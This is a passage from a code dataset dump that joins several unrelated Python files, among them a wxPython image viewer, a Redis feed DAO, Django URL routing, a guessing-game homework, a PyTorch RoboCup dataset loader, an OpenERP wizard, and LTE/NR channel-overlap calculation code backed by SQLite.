0:\n\tdr=r'C:\\Users\\alex_\\OneDrive\\Pictures\\Sony7rM4\\55mm\\protest\\1-20-2019\\insta_base'\n\tdr=r'C:\\Users\\alex_\\OneDrive\\Documents\\Gallery\\1'\n\t\t\n\t\t\npp(sys.argv)\ninterval_sec = int(sys.argv[1])\nimg_dir = sys.argv[2]\nassert os.path.isdir(img_dir)\n\next = sys.argv[3]\n\n\ntry:\n\timport cStringIO\nexcept ImportError:\n\timport io as cStringIO\n\n\n\n\n\nclass ViewerFrame(wx.Frame):\n\t\"\"\"\"\"\"\n\n\t#----------------------------------------------------------------------\n\tdef __init__(self):\n\t\t\"\"\"Constructor\"\"\"\n\t\twx.Frame.__init__(self, None, title=\"Image Viewer\")\n\t\tself.panel=panel = ViewerPanel(self)\n\t\tself.folderPath = \"\"\n\t\tpub.subscribe(self.resizeFrame, (\"resize\"))\n\t\t\n\t\t#self.initToolbar()\n\t\tself.sizer = wx.BoxSizer(wx.VERTICAL)\n\n\t\t\n\t\tself.sizer.Add(panel, 1, wx.EXPAND)\n\t\tself.SetSizer(self.sizer)\n\t\t\n\t\tself.Show()\n\t\tself.sizer.Fit(self)\n\t\tself.Center()\n\t\t#self.Maximize(True)\n\t\t#self.ShowFullScreen(True)\n\t \n\t\t\n\t#----------------------------------------------------------------------\n\tdef initToolbar(self):\n\t\t\"\"\"\n\t\tInitialize the toolbar\n\t\t\"\"\"\n\t\tself.toolbar = self.CreateToolBar()\n\t\tself.toolbar.SetToolBitmapSize((16,16))\n\t\t\n\t\topen_ico = wx.ArtProvider.GetBitmap(wx.ART_FILE_OPEN, wx.ART_TOOLBAR, (16,16))\n\t\topenTool = self.toolbar.AddSimpleTool(wx.ID_ANY, open_ico, \"Open\", \"Open an Image Directory\")\n\t\tself.Bind(wx.EVT_MENU, self.onOpenDirectory, openTool)\n\t\t\n\t\tself.toolbar.Realize()\n\t\t\n\t#----------------------------------------------------------------------\n\tdef onOpenDirectory(self, event):\n\t\t\"\"\"\n\t\tOpens a DirDialog to allow the user to open a folder with pictures\n\t\t\"\"\"\n\t\tdlg = wx.DirDialog(self, \"Choose a directory\",\n\t\t\t\t\t\t style=wx.DD_DEFAULT_STYLE)\n\t\t\n\t\tif dlg.ShowModal() == wx.ID_OK:\n\t\t\tself.folderPath = dlg.GetPath()\n\t\t\tprint (self.folderPath)\n\t\t\tpicPaths = glob.glob(self.folderPath + \"\\\\*.JPG\")\n\t\t\tpp (picPaths)\n\t\t#pub.sendMessage(\"update images\", msg=picPaths)\n\t\t#self.panel.updateImages(msg=picPaths)\n\t\t\n\t#----------------------------------------------------------------------\n\tdef resizeFrame(self, msg):\n\t\t\"\"\"\"\"\"\n\t\tself.sizer.Fit(self)\n\t\t\n#----------------------------------------------------------------------\nif __name__ == \"__main__\":\n\tapp = wx.App()\n\tframe = ViewerFrame()\n\tapp.MainLoop()\n\t","sub_path":"config/workflow/gui.py","file_name":"gui.py","file_ext":"py","file_size_in_byte":2696,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"124200804","text":"from typing import List\n\nimport redis\n\nfrom redisolar.dao.base import FeedDaoBase\nfrom redisolar.dao.redis.base import RedisDaoBase\nfrom redisolar.models import MeterReading\nfrom redisolar.schema import MeterReadingSchema\n\n\nclass FeedDaoRedis(FeedDaoBase, RedisDaoBase):\n \"\"\"Persists and queries MeterReadings in Redis.\"\"\"\n GLOBAL_MAX_FEED_LENGTH = 10000\n SITE_MAX_FEED_LENGTH = 2440\n\n def insert(self, meter_reading: MeterReading, **kwargs) -> None:\n pipeline = kwargs.get('pipeline')\n\n if pipeline is not None:\n self._insert(meter_reading, pipeline)\n return\n\n p = self.redis.pipeline()\n self._insert(meter_reading, p)\n p.execute()\n\n def _insert(self, meter_reading: MeterReading,\n pipeline: redis.client.Pipeline) -> None:\n \"\"\"Helper method to insert a meter reading.\"\"\"\n # START Challenge #6\n my_dict = {\n \"site_id\": meter_reading.site_id,\n \"wh_used\": meter_reading.wh_used,\n \"wh_generated\": meter_reading.wh_generated,\n \"temp_c\": meter_reading.temp_c,\n \"timestamp\": meter_reading.timestamp.timestamp(),\n }\n pipeline.xadd(self.key_schema.global_feed_key(), fields=my_dict)\n pipeline.xadd(self.key_schema.feed_key(meter_reading.site_id), fields=my_dict)\n # END Challenge #6\n\n def get_recent_global(self, limit: int, **kwargs) -> List[MeterReading]:\n return self.get_recent(self.key_schema.global_feed_key(), limit)\n\n def get_recent_for_site(self, site_id: int, limit: int,\n **kwargs) -> List[MeterReading]:\n return self.get_recent(self.key_schema.feed_key(site_id), limit)\n\n def get_recent(self, key: str, limit: int) -> List[MeterReading]:\n return [\n MeterReadingSchema().load(entry[1])\n for entry in self.redis.xrevrange(key, count=limit)\n ]\n\n def get_recent_ids(key, count):\n ids = []\n client = redis.Redis(decode_responses=True)\n entries = client.xrevrange(key, count=count)\n\n for entry in entries:\n ids.append(entry[0])\n\n return ids\n","sub_path":"redisolar/dao/redis/feed.py","file_name":"feed.py","file_ext":"py","file_size_in_byte":2166,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"624227125","text":"from ckeditor_uploader import views as cku_views\nfrom django.conf import settings\nfrom django.conf.urls.static import static\nfrom django.contrib import admin\nfrom django.contrib.auth.decorators import login_required\nfrom django.urls import include, path\nfrom django.views import defaults as default_views\nfrom django.views.generic import TemplateView\nfrom django.views.i18n import JavaScriptCatalog\nfrom rest_framework.renderers import JSONOpenAPIRenderer\nfrom rest_framework.schemas import get_schema_view\n\nurlpatterns = [\n # Django Admin, use {% url 'admin:index' %}\n path(settings.ADMIN_URL, admin.site.urls),\n path(\"users/\", include(\"django.contrib.auth.urls\")),\n path(\"accounts/\", include(\"allauth.urls\")),\n\n path(\"jsi18n/\", JavaScriptCatalog.as_view(), name=\"javascript-catalog\"),\n path(\"ckeditor/upload/\", login_required(cku_views.upload), name=\"ckeditor_upload\"),\n path(\"ckeditor/browse/\", login_required(cku_views.browse), name=\"ckeditor_browse\"),\n\n path(\"\", include(\"grodt_prj.pages.urls\")),\n path(\"mychecker/\", include(\"grodt_prj.mychecker.urls\")),\n\n] + static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)\n\n# API urls\nschema_view = get_schema_view(\n title=\"GRODT Prj API\",\n version=\"v0.1.0\",\n public=False,\n renderer_classes=[JSONOpenAPIRenderer],\n)\n\nurlpatterns += [\n path(\"docs/openapi.json\", schema_view, name=\"openapi_schema\"),\n path(\"docs/api/\", login_required(TemplateView.as_view(template_name=\"swagger-ui.html\")), name=\"docs-index\"),\n\n # DRF auth token\n # path(\"auth-token/\", obtain_auth_token),\n\n path(settings.MY_API_PREFIX + \"mychecker/\", include(\"grodt_prj.mychecker.urls_api\")),\n]\n\nif settings.DEBUG:\n # This allows the error pages to be debugged during development, just visit\n # these url in browser to see how these error pages look like.\n urlpatterns += [\n path(\n \"400/\",\n default_views.bad_request,\n kwargs={\"exception\": Exception(\"Bad Request!\")},\n ),\n path(\n \"403/\",\n default_views.permission_denied,\n kwargs={\"exception\": Exception(\"Permission Denied\")},\n ),\n path(\n \"404/\",\n default_views.page_not_found,\n kwargs={\"exception\": Exception(\"Page not Found\")},\n ),\n path(\"500/\", default_views.server_error),\n ]\n\n if \"debug_toolbar\" in settings.INSTALLED_APPS:\n import debug_toolbar\n\n urlpatterns = [path(\"__debug__/\", include(debug_toolbar.urls))] + urlpatterns\n","sub_path":"config/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":2532,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"569316182","text":"\"\"\" Name : Neil Barot\nCourse : CMPS 1500\nLab Section : Tuesday 2 -3.15 pm\nAssignment : hw2pr3.py\nDate : 09/15/14\n\"\"\"\nimport random\nimport os.path\n\ndef is_int(s): #checks if each character in s is an integer\n if s[0] not in \"-1234567890\": #seperate case for negative sign\n return False\n for i in range(1, len(s)):\n if s[i] not in \"1234567890\":\n return False\n return True\n\ndef ch_to_int(ch):\n for i in range(10): #checks if the character is equal to string version of numbers 0 - 9\n if str(i) == ch:\n return i\n return False\n\ndef s_to_int(s):\n num = 0\n place = 0 #counter to help determine the place of each part of number (like tens, hundreds, thousands, so on)\n for i in range(len(s)-1, 0, -1): #iterates through loop from end to start of s\n num += ch_to_int(s[i]) * (10**place)\n place += 1\n if(s[0] == '-'): #case for if s is negative \n num *= -1\n else:\n num += ch_to_int(s[0]) * (10**place)\n return num\n\n\ndef ask_for_int():\n number = input('Please guess a number: ')\n while not is_int(number): #keeps asking until an integer is entered\n number = input('You did not enter an integer. Please try again: ')\n return s_to_int(number)\n\ndef guessing_game(num):\n print('Hello and welcome to the game.')\n print('You need to guess a number between -100 and 100.')\n x = ask_for_int()\n counter = 1 #counts number of guesses\n while x != num: #keeps checking until you input the matching number\n if x > num:\n print('Too high!')\n else:\n print('Too low!')\n counter += 1\n x = ask_for_int()\n print('Good job! You took ' + str(counter) + ' guesses.')\n return counter\n\n\ndef main():\n num = guessing_game(random.randint(-100,100)) #plays guessing game with a random number from -100 to 100\n if(not os.path.isfile(\"history.txt\")): #checks if history.txt exists and if not it creates it\n fout = open(\"history.txt\", \"w+\")\n fout.close() \n fin = open(\"history.txt\", \"r\") \n lines = fin.readlines() #reads information from history.txt and puts it in list\n fin.close()\n if len(lines) == 0: #checks if history.txt is empty\n print('Congratulations! You are the first person to ever complete the game!')\n elif s_to_int(lines[0]) > num: #checks if previous number of attempts is greater than current number of attempts\n print('Congratulations! You did better than the previous player, who took ' + lines[0] + ' guesses.')\n else:\n print('The previous player took ' + lines[0] + ' guesses. Play again and improve your score!')\n fout = open(\"history.txt\", \"w\")\n fout.write(str(num)) #writes current number of attempts to file\n\nmain()\n\n","sub_path":"Homework 2/hw2pr3.py","file_name":"hw2pr3.py","file_ext":"py","file_size_in_byte":2758,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"28484356","text":"from torch.utils.data.dataset import Dataset\nimport torchvision\nimport yaml\nfrom pathlib import Path\nimport copy\nimport cv2\nimport numpy as np\nimport torch\n\n\nclass Rescale():\n def __call__(self, sample):\n img, label = sample\n img = img.astype(dtype=np.float32) / 255.0\n label = label.astype(dtype=np.float32)\n return img, label\n\nclass ToTensor():\n \"\"\"Convert ndarrays in sample to Tensors.\"\"\"\n\n def __call__(self, sample):\n img, label = sample\n\n # swap color axis because\n # numpy image: H x W x C\n # torch image: C X H X W\n img = img.transpose((2, 0, 1))\n # adds a channel to say this has one color\n label = np.expand_dims(label, axis=0)\n return torch.from_numpy(img), torch.from_numpy(label)\n\nclass Normalize():\n def __call__(self, sample):\n img, label = sample\n normalize = torchvision.transforms.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225])\n img = normalize(img)\n return img, label\n\n\n\nclass roboCupDatasets(Dataset):\n\n def __init__(self, rootDataDirectory = \"../data/\", labelsToUse = [\"goalpost\"], transform=None):\n \"\"\"\n Args:\n rootDataDirectory (string): path to directory of directory with images\n (can also be path to single directory)\n transform (callable, optional): transforms that should be applied to images\n \"\"\"\n self.imagelist = list()\n self.labelFiles = list()\n self.transform = transform\n\n for filename in Path(rootDataDirectory).rglob(\"*.yaml\"):\n self.labelFiles.append(filename)\n\n path = self.labelFiles[0]\n with open(path, \"r\") as f:\n annos = yaml.safe_load(f)\n images = annos[\"images\"]\n for image in images.items():\n # get parent path of yaml and add image path\n # this assumes the .yaml file is in the same folder as the images\n imagepath = str(path.parent.absolute()) + \"/\" + image[0]\n readImg = cv2.imread(imagepath)\n height, width, _ = readImg.shape\n # create black image with same dimensions as input image\n label = np.zeros((height,width))\n labelFound = False\n for annotation in image[1][\"annotations\"]:\n if annotation[\"type\"] in labelsToUse:\n labelFound = True\n polygon = annotation[\"vector\"]\n if not \"notinimage\" in polygon:\n cv2.fillConvexPoly(label, np.array(polygon), 1.0)\n # only use images where we have labels available\n if not labelFound:\n continue\n # Debug Labels:\n #cv2.imshow(\"label\", label)\n #cv2.waitKey()\n # store imagepath instead of image to be more memoryefficient\n self.imagelist.append((imagepath, label))\n\n def __getitem__(self, index):\n # TODO apply transforms of choice\n # todo transform to tensor\n img = cv2.imread(self.imagelist[index][0])\n label = self.imagelist[index][1]\n # assuming this is an fcnn, the same transformation can be applied to the label...\n # unless the transformation does stuff with colors...\n # todo figure out which transformations to apply to label too\n if self.transform:\n img, label = self.transform([img,label])\n #img = self.transform(img)\n #label = self.transform(label)\n # transform to tensor\n # numpy image: H x W x C\n # torch image: C X H X W\n #print(img.shape)\n #img = img.transpose((2, 0, 1))\n #label = label.transpose((2, 0, 1))\n return img, label\n\n def __len__(self):\n return len(self.imagelist)\n\nif __name__ == \"__main__\":\n a = roboCupDatasets()\n img = a.__getitem__(0)[0]\n print(img)\n\n\n","sub_path":"fcn/pytorch/dataset.py","file_name":"dataset.py","file_ext":"py","file_size_in_byte":4022,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"356446213","text":"# -*- encoding: utf-8 -*-\n##############################################################################\n#\n# OpenERP, Open Source Management Solution\n# Copyright (C) 2004-2010 Tiny SPRL ().\n#\n# vals program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU Affero General Public License as\n# published by the Free Software Foundation, either version 3 of the\n# License, or (at your option) any later version.\n#\n# vals program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU Affero General Public License for more details.\n#\n# You should have received a copy of the GNU Affero General Public License\n# along with vals program. If not, see .\n#\n##############################################################################\n\nfrom openerp.osv import fields, osv\n\n\nclass formulario_ordem_compra_select_compromisso(osv.Model):\n _name = 'formulario.ordem.compra.select.compromisso'\n _description = u\"Formulário da Ordem de Compra\"\n\n def lista_compromissos(self, cr, uid, context):\n cr.execute(\"\"\"SELECT id, compromisso FROM sncp_despesa_compromisso\n WHERE state='proc' AND id NOT IN(\n SELECT name FROM sncp_despesa_compromisso_relacoes)\"\"\")\n # Confirmar se existe limitação por estado\n result = cr.fetchall()\n resultado = []\n if len(result) == 0:\n resultado.append((u'0', u'Não existe nenhum compromisso para vincular a ordem.'))\n else:\n for res in result:\n resultado.append((unicode(res[0]), unicode(res[1])))\n\n resultado = list(set(resultado))\n return resultado\n\n def wizard(self, cr, uid, ids, context=None):\n ordem_compra_id = ids[0]\n ids = self.search(cr, uid, [('ordem_compra_id', '=', ordem_compra_id)])\n if len(ids) == 0:\n ids.append(self.create(cr, uid, {\n 'ordem_compra_id': ordem_compra_id,\n }))\n return {'name': '
Seleciona Compromisso pretendido
',\n 'type': 'ir.actions.act_window',\n 'view_mode': 'form',\n 'view_type': 'form',\n 'res_model': 'formulario.ordem.compra.select.compromisso',\n 'nodestroy': True,\n 'target': 'new',\n 'res_id': ids[0], }\n\n def continuar(self, cr, uid, ids, context=None):\n obj = self.browse(cr, uid, ids[0])\n lista = [obj.ordem_compra_id.id]\n compromisso_ref = int(obj.compromisso_ref)\n return self.pool.get('purchase.order').verificar_comportamento(cr, uid, lista,\n compromisso_ref)\n\n def descartar(self, cr, uid, ids, context):\n # Apagar formulários\n self.unlink(cr, uid, ids)\n #\n return True\n\n _columns = {'ordem_compra_id': fields.many2one('purchase.order'),\n 'compromisso_ref': fields.selection(lista_compromissos, u'Compromisso'), }\n\nformulario_ordem_compra_select_compromisso()","sub_path":"addons/despesa/wizard/formulario_ordem_compra.py","file_name":"formulario_ordem_compra.py","file_ext":"py","file_size_in_byte":3278,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"193180738","text":"from core.json_utils.saveToJsonGetQuestions import SaveToJsonGetQuestions\nfrom django.conf import settings\nfrom django.test import TestCase\nfrom unittest.mock import Mock, patch\n\nclass JsonUtilitiesTests(TestCase):\n def setUp(self):\n self._base_dir = settings.BASE_DIR\n self._file_dir = self._base_dir + '/static/json/tests/all_votes.json'\n\n def test_00_test_json_file_is_the_same(self):\n save_to_json = SaveToJsonGetQuestions('all_votes', 1)\n test_json_file = save_to_json.test_check_json()\n self.assertEqual(self._file_dir, test_json_file)\n\n @patch('core.json_utils.saveToJsonGetQuestions.SaveToJsonGetQuestions.save_json_file', return_value = True)\n def test_01_set_return_as_true(self, mock_save_json_file):\n save_to_json = SaveToJsonGetQuestions('all_votes', 1)\n value = save_to_json.save_json_file()\n self.assertTrue(value)\n\n \n @patch('core.json_utils.saveToJsonGetQuestions.SaveToJsonGetQuestions.save_json_file', return_value = False)\n def test_02_set_return_as_false(self, mock_save_json_file):\n save_to_json = SaveToJsonGetQuestions('all_votes', 1)\n value = save_to_json.save_json_file()\n self.assertFalse(value)\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"tests/json_utilities/jsonUtilitiesTests.py","file_name":"jsonUtilitiesTests.py","file_ext":"py","file_size_in_byte":1285,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"232654192","text":"#!/cluster/apps/python/3.2.2/x86_64/bin/python\n\nimport logging\nimport subprocess\n\nfrom SimulationRunner import SimulationRunner\n\nfrom get_arguments import get_folder_clean\n\nlogging.basicConfig()\nlogger = logging.getLogger(__name__)\nlogger.setLevel(logging.DEBUG)\n\ndef main():\n args = get_folder_clean()\n sr = SimulationRunner().\\\n set_output_folder(args.folder).\\\n kill_all_jobs(args.clean)\n\nif __name__ == '__main__':\n main()\n","sub_path":"code/simulation_cancel.py","file_name":"simulation_cancel.py","file_ext":"py","file_size_in_byte":450,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"484772791","text":"#! python3\n\n# ex-7.py - password checker\n\n\nimport re, pyperclip\n\ndef strip_method():\n\n get_str = input('공백이 있는 문자열 입력: ')\n\n stripRegex = re.compile(r'(^\\s*)|(\\s*$)')\n print(stripRegex.sub(r'', get_str))\n \nstrip_method()\n","sub_path":"02_파이썬-지루한 작업 자동화하기/■ 연습 프로젝트/ex-7-2.py","file_name":"ex-7-2.py","file_ext":"py","file_size_in_byte":252,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"377223659","text":"import sqlite3\nimport pandas as pd\n\ndef import_db(chart_name, element_name, index_value, element_name1, index_value1, multiple_select=False):\n conn = sqlite3.connect('LTE_channel.db')\n c = conn.cursor()\n if multiple_select:\n c.execute(\"Select * From '{}' where {} ='{}' and {} = '{}'\".format(chart_name, element_name,\n index_value, element_name1, index_value1))\n else:\n c.execute(\"Select * From '{}' where {} ='{}'\".format(chart_name, element_name, index_value))\n ret5 = c.fetchall()\n c.close()\n if len(ret5) != 0:\n return ret5\n else:\n return 'Null'\n\n\ndef check_is_pcc(input_string):\n input_string = input_string.split(';')\n pcc_characteristic_list = ['C[1,1]', 'A[1]']\n try:\n if input_string[1] in pcc_characteristic_list and 'N' not in input_string[0]:\n return True\n else:\n return False\n except IndexError:\n return False\n\n\ndef comb_dict(impport_dict):\n duplicated_counter = 0\n buffer_dict = {}\n buffer_comment = []\n for key, value in impport_dict.items():\n if value['Comment'] not in buffer_comment:\n buffer_comment.append(value['Comment'])\n buffer_dict[key] = value\n else:\n print('Found duplicated bands: {}'.format(value['Comment']))\n duplicated_counter += 1\n continue\n print('Removed {} pairs of duplicated bands'.format(duplicated_counter))\n return buffer_dict\n\n\ndef get_maximum_bandwidth(band, scs, input_dict):\n band = band.lower()\n transformed_scs = ''\n if scs == 'MU0':\n transformed_scs = 'SCS15K'\n elif scs == 'MU1':\n transformed_scs = 'SCS30K'\n ret4 = import_db('Band_SCS_Bandwidth_Combination', 'Band', band, 'SCS', transformed_scs, True)\n buffer_int_list = []\n for i in ret4:\n buffer_int_list.append(int(i[3].replace('BW', '')))\n max_bw = max(buffer_int_list)\n input_dict['NR PCC Bandwidth'] = 'B{}M'.format(max_bw)\n return input_dict\n\n\ndef check_lte_high_limit(lte_band, lte_dl_earfcn):\n arfcn_dl_limit_dict = {'1': [0, 599], '3': [1200, 1949], '28': [9210, 9659], '7': [2750, 3449], '5': [2400, 2649],\n '8': [3450, 3799], '38': [37750, 38249],\n '20': [6150, 6449], '18': [5850, 5999], '42': [41590, 43589], '41': [39650, 41589]}\n lte_band = lte_band.replace('Band', '')\n lte_high_limit = arfcn_dl_limit_dict.get(lte_band, None)\n if lte_high_limit is None:\n return lte_dl_earfcn\n else:\n if int(lte_dl_earfcn) > lte_high_limit[1]:\n return lte_high_limit[1]\n else:\n return lte_dl_earfcn\n\n\ndef get_lte_dl_earfcn(band, bw, channel):\n conn = sqlite3.connect('LTE_channel.db')\n band = band.replace('Band', '')\n bw = bw.replace('BW', '')\n c = conn.cursor()\n c.execute(\"Select * From 'LTE_Channels' where LTEBands ='{}' and BW = '{}' and Channel = '{}'\".\n format(band, bw, channel))\n ret2 = c.fetchall()\n c.close()\n return ret2[0][4], ret2[0][3]\n\n\ndef get_lte_dl_freq(band, bw, dl_earfcn):\n \"\"\"\n\n :param band:\n :param bw:\n :param dl_earfcn:\n :return: LTE Freq, LTE Channel\n \"\"\"\n conn = sqlite3.connect('LTE_channel.db')\n band = band.replace('Band', '')\n bw = bw.replace('BW', '')\n c = conn.cursor()\n c.execute(\"Select * From 'LTE_Channels' where LTEBands ='{}' and BW = '{}' and DL_EARFCN = {}\".\n format(band, bw, dl_earfcn))\n ret3 = c.fetchall()\n c.close()\n try:\n return ret3[0][6], ret3[0][2]\n except IndexError:\n return dl_earfcn, 'MID'\n\n\ndef get_lte_frequency(band, bw, channel):\n conn = sqlite3.connect('LTE_channel.db')\n band = band.replace('Band', '')\n bw = bw.replace('BW', '')\n c = conn.cursor()\n c.execute(\"Select * From 'LTE_Channels' where LTEBands ='{}' and BW = '{}' and Channel = '{}'\".\n format(band, bw, channel))\n ret1 = c.fetchall()\n c.close()\n return ret1[0][2], ret1[0][5], ret1[0][6]\n\n\ndef get_nr_freq(band, bw, scs, channel):\n conn = sqlite3.connect('LTE_channel.db')\n band = band.lower()\n bw = bw.replace('B', '').replace('M', '')\n scs_corrected = 'MU0'\n if scs == 'MU0':\n scs_corrected = '15kHz'\n elif scs == 'MU1':\n scs_corrected = '30kHz'\n elif scs == 'MU2':\n scs_corrected = '60kHz'\n c = conn.cursor()\n c.execute(\"Select * From 'TestFrequency' where Band ='{}' and Bandwidth = '{}MHz' and SCS = '{}' and Range = '{}'\".\n format(band, bw, scs_corrected, channel))\n ret3 = c.fetchall()\n c.close()\n return ret3[0][7]\n\n\ndef overlap_special_cases(lte_band, nr_band):\n special_case_list = ['B20-N28']\n if '{}-{}'.format(lte_band.replace('Band', 'B'), nr_band) in special_case_list:\n return True\n else:\n return False\n\n\ndef calculate_lte_overlap(input_dict_1):\n pass\n\n\ndef calculate_lte_nr_overlap(input_dict):\n \"\"\"\n Formula = 中心频点相减大于两个带宽和的一半\n :return:\n \"\"\"\n nr_changed_flag = False\n nr_pcc_bw = input_dict['NR PCC Bandwidth']\n nr_pcc_scs = input_dict['NR PCC Scs']\n # lte_channel_pcc, lte_dl_freq_pcc, lte_ul_freq_pcc = get_lte_frequency(input_dict['LTE PCC Band'],\n # input_dict['LTE PCC Bandwidth'], 'MID')\n lte_dl_freq_pcc, lte_channel_pcc = get_lte_dl_freq(input_dict['LTE PCC Band'],\n input_dict['LTE PCC Bandwidth'],\n input_dict['LTE PCC DL EARFCN'])\n nr_freq_compared = get_nr_freq(input_dict['NR PCC Band'], nr_pcc_bw,\n nr_pcc_scs, input_dict['NR PCC DL Arfcn'])\n compared_result_pcc_dl, shift_direction = check_overlapped_formula(lte_dl_freq_pcc, input_dict['LTE PCC Bandwidth'],\n nr_freq_compared, input_dict['NR PCC Bandwidth'])\n # compared_result_pcc_ul = check_overlapped_formula(lte_ul_freq_pcc, input_dict['LTE PCC Bandwidth'],\n # nr_freq_compared, input_dict['NR PCC Bandwidth'])\n final_result_pcc = compared_result_pcc_dl\n if not final_result_pcc:\n print('LTE {} - NR {} are overlapped!'.format(input_dict['LTE PCC Band'], input_dict['NR PCC Band']))\n if not shift_direction:\n input_dict['NR PCC DL Arfcn'] = 'HIGH'\n else:\n input_dict['NR PCC DL Arfcn'] = 'LOW'\n compared_result_pcc_dl_1, shift_direction_pcc = check_overlapped_formula(lte_dl_freq_pcc,\n input_dict['LTE PCC Bandwidth'],\n nr_freq_compared,\n input_dict['NR PCC Bandwidth'])\n if not compared_result_pcc_dl_1:\n if not shift_direction_pcc:\n input_dict['LTE PCC DL EARFCN'], empty = get_lte_dl_earfcn(input_dict['LTE PCC Band'],\n input_dict['LTE PCC Bandwidth'], 'LOW')\n else:\n input_dict['LTE PCC DL EARFCN'], empty = get_lte_dl_earfcn(input_dict['LTE PCC Band'],\n input_dict['LTE PCC Bandwidth'], 'HIGH')\n nr_changed_flag = True\n if overlap_special_cases(input_dict['LTE PCC Band'], input_dict['NR PCC Band']):\n input_dict['NR PCC DL Arfcn'] = 'LOW'\n input_dict['LTE PCC DL EARFCN'], empty = get_lte_dl_earfcn(input_dict['LTE PCC Band'],\n input_dict['LTE PCC Bandwidth'], 'HIGH')\n for i in range(1, 6):\n try:\n lte_scc_band = input_dict['LTE SCC{} Band'.format(i)]\n lte_scc_bw = input_dict['LTE SCC{} Bandwidth'.format(i)]\n lte_scc_earfcn = input_dict['LTE SCC{} DL EARFCN'.format(i)]\n if lte_scc_band == 'Band20':\n pass\n # lte_channel_scc, lte_dl_freq_scc, lte_ul_freq_scc = get_lte_frequency(lte_scc_band,\n # lte_scc_bw,\n # 'MID')\n lte_dl_freq_scc, lte_channel_scc = get_lte_dl_freq(lte_scc_band, lte_scc_bw, lte_scc_earfcn)\n nr_freq_compared1 = get_nr_freq(input_dict['NR PCC Band'], input_dict['NR PCC Bandwidth'],\n input_dict['NR PCC Scs'], input_dict['NR PCC DL Arfcn'])\n compared_result_scc_dl, shift_direction_scc = check_overlapped_formula(lte_dl_freq_scc, lte_scc_bw,\n nr_freq_compared1,\n input_dict['NR PCC Bandwidth'])\n # compared_result_scc_ul = check_overlapped_formula(lte_ul_freq_scc, lte_scc_bw,\n # nr_freq_compared1, input_dict['NR PCC Bandwidth'])\n final_result_scc = compared_result_scc_dl\n if not final_result_scc:\n print('LTE {} - NR {} are overlapped!'.format(lte_scc_band, input_dict['NR PCC Band']))\n if nr_changed_flag:\n if not shift_direction_scc:\n input_dict['LTE SCC{} DL EARFCN'.format(i)], empty = get_lte_dl_earfcn(lte_scc_band,\n lte_scc_bw, 'LOW')\n else:\n input_dict['LTE SCC{} DL EARFCN'.format(i)], empty = get_lte_dl_earfcn(lte_scc_band,\n lte_scc_bw, 'HIGH')\n nr_freq_compared_2 = get_nr_freq(input_dict['NR PCC Band'], input_dict['NR PCC Bandwidth'],\n input_dict['NR PCC Scs'], input_dict['NR PCC DL Arfcn'])\n lte_dl_freq_scc_1, lte_channel_scc_1 = get_lte_dl_freq(lte_scc_band, lte_scc_bw,\n input_dict['LTE SCC{} DL EARFCN'.format(i)])\n compared_result_scc_dl_1, shift_direction_scc_1 = check_overlapped_formula(lte_dl_freq_scc_1,\n lte_scc_bw,\n nr_freq_compared_2,\n input_dict[\n 'NR PCC Bandwidth'])\n if not compared_result_scc_dl_1:\n if not shift_direction_scc_1:\n input_dict['LTE SCC{} DL EARFCN'.format(i)], empty = get_lte_dl_earfcn(lte_scc_band,\n lte_scc_bw, 'LOW')\n else:\n input_dict['LTE SCC{} DL EARFCN'.format(i)], empty = get_lte_dl_earfcn(lte_scc_band,\n lte_scc_bw, 'HIGH')\n else:\n if not shift_direction_scc:\n input_dict['NR PCC DL Arfcn'] = 'HIGH'\n else:\n input_dict['NR PCC DL Arfcn'] = 'LOW'\n nr_changed_flag = True\n nr_freq_compared_2 = get_nr_freq(input_dict['NR PCC Band'], input_dict['NR PCC Bandwidth'],\n input_dict['NR PCC Scs'], input_dict['NR PCC DL Arfcn'])\n lte_dl_freq_scc_1, lte_channel_scc_1 = get_lte_dl_freq(lte_scc_band, lte_scc_bw,\n input_dict['LTE SCC{} DL EARFCN'.format(i)])\n compared_result_scc_dl_1, shift_direction_scc_1 = check_overlapped_formula(lte_dl_freq_scc_1,\n lte_scc_bw,\n nr_freq_compared_2,\n input_dict['NR PCC Bandwidth'])\n if not compared_result_scc_dl_1:\n if not shift_direction_scc_1:\n input_dict['LTE SCC{} DL EARFCN'.format(i)], empty = get_lte_dl_earfcn(lte_scc_band,\n lte_scc_bw, 'LOW')\n else:\n input_dict['LTE SCC{} DL EARFCN'.format(i)], empty = get_lte_dl_earfcn(lte_scc_band,\n lte_scc_bw, 'HIGH')\n if overlap_special_cases(lte_scc_band, input_dict['NR PCC Band']):\n input_dict['NR PCC DL Arfcn'] = 'LOW'\n input_dict['LTE SCC{} DL EARFCN'.format(i)], empty = get_lte_dl_earfcn(lte_scc_band,\n lte_scc_bw, 'HIGH')\n except KeyError:\n break\n\n\ndef check_overlapped_formula(lte_freq, lte_bw, nr_freq, nr_bw):\n nr_bw = int(nr_bw.replace('B', '').replace('M', ''))\n lte_bw = int(lte_bw.replace('BW', ''))\n check_positive = int(lte_freq) - int(nr_freq) > 0\n band_value = abs(int(lte_freq) - int(nr_freq))\n # Formula = 中心频点相减大于两个带宽和的一半\n bandwidth_value = (lte_bw + nr_bw) / 2\n return bool(band_value > bandwidth_value), check_positive\n\n\ndef check_qualcomm_file_match(qualcomm_string, band_combination, cc_limit):\n # stripped_result = qualcomm_string.replace(';', '').replace('[4]', '').replace('A', ''). \\\n # replace('A[1]', '').replace('[2]', 